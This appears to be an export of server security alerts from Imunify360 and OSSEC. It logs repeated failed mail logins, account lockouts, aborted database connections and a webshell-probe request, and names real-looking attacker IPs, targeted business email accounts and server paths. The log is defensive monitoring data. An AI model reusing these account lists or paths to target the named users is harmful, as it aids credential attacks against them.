IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=26 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:27:36 dovecot_login authenticator failed for H=(EG53tnhz) [178.16.54.22]:55127: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:27:03 dovecot_login authenticator failed for H=(HCoLFKk) [178.16.52.139]:64057: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.225.31.26
country_id: 718075
description:
2026-02-01 22:28:28 dovecot_plain authenticator failed for H=([10.150.0.113]) [185.225.31.26]:3005: 535 Incorrect authentication data (set_id=norhayati.ab-samad@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:28:12 dovecot_login authenticator failed for H=(Q7gJGHgNum) [178.16.54.22]:65079: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:28:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65400: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:28:40 dovecot_login authenticator failed for H=(OJJfZy) [2.58.56.77]:60973: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:28:03 dovecot_login authenticator failed for H=(AElE4XniZW) [178.16.52.139]:55340: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:28:25 dovecot_login authenticator failed for H=(Rzsf6ClZW) [158.94.208.175]:53680: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.189
country_id: 1814991
description:
2026-02-01 22:29:50 dovecot_login authenticator failed for H=([111.61.177.189]) [111.61.177.189]:29496: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:29:06 dovecot_login authenticator failed for H=(ardMqT8R) [2.58.56.77]:58979: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:29:09 dovecot_login authenticator failed for H=(dt2RdYSgDy) [178.16.52.139]:61309: 535 Incorrect authentication data (set_id=klsim.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:29:19 dovecot_login authenticator failed for H=(KQOvRZnhp) [178.16.54.22]:49673: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.139.246.126
country_id: 6252001
description:
2026-02-01 22:29:23 dovecot_login authenticator failed for H=([127.0.0.1]) [64.139.246.126]:36127: 535 Incorrect authentication data (set_id=inf)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:29:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40670: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.155.28
country_id: 1814991
description:
2026-02-01 22:29:16 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.155.28]:35032: 535 Incorrect authentication data (set_id=inf@essemgroup.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.187
country_id: 2750405
description:
2026-02-01 22:29:49 243745 [Warning] Aborted connection 243745 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.187' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:29:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59691: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:29:18 dovecot_login authenticator failed for H=(K3omiqSKGP) [158.94.208.175]:53873: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 22:29:20 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:54720: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:29:27 dovecot_login authenticator failed for H=(gdOTj4Pbc) [178.16.52.139]:50476: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:30:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57123: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:30:08 dovecot_login authenticator failed for H=(RGHLKVAgyC) [178.16.54.22]:62827: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-02-01 22:30:32 dovecot_plain authenticator failed for H=(eptubuks) [12.150.243.22]:60250: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:30:12 dovecot_login authenticator failed for H=(kHZGDL3SW) [158.94.208.175]:55965: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 22:30:59 dovecot_login authenticator failed for H=([122.187.230.227]) [122.187.230.227]:52421: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.187
country_id: 2750405
description:
2026-02-01 22:30:46 243785 [Warning] Aborted connection 243785 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.187' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.33.47.2
country_id: 1835841
description:
2026-02-01 22:30:56 dovecot_login authenticator failed for H=([118.33.47.2]) [118.33.47.2]:42394: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:30:04 dovecot_login authenticator failed for H=(yKa8pfP) [178.16.52.139]:61146: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:30:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:30:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.84.25.45
country_id: 3175395
description:
2026-02-01 22:30:26 dovecot_plain authenticator failed for H=(brantele) [82.84.25.45]:55478: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:30:11 dovecot_login authenticator failed for H=(yjo86h) [2.58.56.77]:58766: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:31:47 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.114.143.79
country_id: 3865483
description:
2026-02-01 22:31:06 dovecot_login authenticator failed for H=host-cotesma-114-143-79.smandes.com.ar [181.114.143.79]:47763: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:31:07 dovecot_login authenticator failed for H=(9dzBD06X6) [178.16.54.22]:56279: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 22:31:23 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:59921: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:31:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:31:06 dovecot_login authenticator failed for H=(Q2VdsOOcjr) [158.94.208.175]:52629: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:31:26 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44184: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:31:02 dovecot_login authenticator failed for H=(ZLrl8xCn) [2.58.56.77]:60660: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:31:43 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:31:06 dovecot_login authenticator failed for H=(NqKatw3Wp3) [178.16.52.139]:52352: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:31:16 dovecot_login authenticator failed for H=(Qs1d2lIMra) [178.16.52.139]:56688: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:31:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63449: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:32:10 dovecot_login authenticator failed for H=(SDHN4S) [178.16.54.22]:54258: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:32:26 dovecot_login authenticator failed for H=(RkH99h) [158.94.208.175]:64944: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-01 22:32:31 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:5511: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:32:32 dovecot_login authenticator failed for H=(wb9FUtvCJ) [178.16.52.139]:62547: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-02-01 22:32:05 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:46496: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:32:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59795: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:32:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:32:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:32:10 dovecot_login authenticator failed for H=(OJ3jH5tHo) [2.58.56.77]:50633: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:32:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-02-01 22:32:36 dovecot_plain authenticator failed for H=(isemian) [24.187.213.29]:44098: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.70
country_id: 1814991
description:
2026-02-01 22:32:47 dovecot_login authenticator failed for H=([111.61.87.70]) [111.61.87.70]:30278: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 22:32:16 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:53216: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:33:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:33:20 dovecot_login authenticator failed for H=(yaVBYSD) [158.94.208.175]:57047: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:33:17 dovecot_login authenticator failed for H=(Dnj4D7) [2.58.56.77]:52284: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:33:29 dovecot_login authenticator failed for H=(1IGPiN) [178.16.52.139]:50450: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:33:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46930: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:33:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:33:14 dovecot_login authenticator failed for H=(PXy2QZ) [178.16.52.139]:49823: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:33:16 dovecot_login authenticator failed for H=(w1KMe6) [178.16.54.22]:56259: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:33:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55725: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.240.178.161
country_id: 1814991
description:
2026-02-01 22:34:20 dovecot_login authenticator failed for H=([127.0.0.1]) [120.240.178.161]:59410: 535 Incorrect authentication data (set_id=arts@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:34:06 dovecot_login authenticator failed for H=(fO0ekJiG) [2.58.56.77]:64269: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:34:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:34:14 dovecot_login authenticator failed for H=(TBwwo4hZ) [178.16.54.22]:49907: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:34:14 dovecot_login authenticator failed for H=(yUv5wZrW0b) [158.94.208.175]:50229: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:34:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50689: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.145.56.3
country_id: 1814991
description:
2026-02-01 22:34:35 dovecot_login authenticator failed for H=([127.0.0.1]) [61.145.56.3]:46586: 535 Incorrect authentication data (set_id=arts)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:34:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:34:09 dovecot_login authenticator failed for H=(WqM3gEhy2I) [178.16.52.139]:59448: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:35:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:36:01 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36430: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:35:11 dovecot_login authenticator failed for H=(TecTVvff3J) [178.16.52.139]:51189: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:35:15 dovecot_login authenticator failed for H=(NjDWH85C) [2.58.56.77]:53447: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:35:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50446: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:35:13 dovecot_login authenticator failed for H=(BWqMXM) [158.94.208.175]:59779: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:35:02 dovecot_login authenticator failed for H=(rZbJcG) [178.16.54.22]:49648: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:35:17 dovecot_login authenticator failed for H=(xwUhSsHt) [178.16.52.139]:52001: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:36:21 dovecot_login authenticator failed for H=(bc7ufZD) [178.16.52.139]:57939: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:36:03 dovecot_login authenticator failed for H=(j0fXUdY) [2.58.56.77]:60848: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:36:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58895: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:36:07 dovecot_login authenticator failed for H=(X2jqHOvd) [178.16.54.22]:50106: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:36:07 dovecot_login authenticator failed for H=(ihJS0dU) [158.94.208.175]:61572: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-02-01 22:37:05 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:51020: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:37:09 dovecot_login authenticator failed for H=(Az6NFpgfBN) [178.16.54.22]:56710: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:37:23 dovecot_login authenticator failed for H=(xXW0zoK) [158.94.208.175]:56906: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:37:10 dovecot_login authenticator failed for H=(KtgHtaU5Yx) [2.58.56.77]:51089: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:37:19 dovecot_login authenticator failed for H=(Nvy7PT) [178.16.52.139]:55208: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:37:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54792: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:37:34 dovecot_login authenticator failed for H=(4ddgyG) [178.16.52.139]:54214: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.36.42
country_id: 1819730
description:
2026-02-01 22:37:19 dovecot_login authenticator failed for H=042.36.246.220.static.netvigator.com [220.246.36.42]:56574: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:38:16 dovecot_login authenticator failed for H=(9wgWkz) [178.16.54.22]:57455: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:38:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51513: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 22:38:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(178.16.54.22)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:38:15 dovecot_login authenticator failed for H=(dwuc8mRs1) [158.94.208.175]:56401: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:38:22 dovecot_login authenticator failed for H=(Eu9TrL3) [2.58.56.77]:56393: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:38:14 dovecot_login authenticator failed for H=(2NIK8e) [178.16.52.139]:61941: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:38:18 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:48646: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:38:39 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:39:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account munch has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:39:07 dovecot_login authenticator failed for H=(vCfisq) [158.94.208.175]:50511: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 22:39:17 dovecot_login authenticator failed for H=(JZWvhDg) [178.16.54.22]:51383: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 22:39:54 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:40962: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
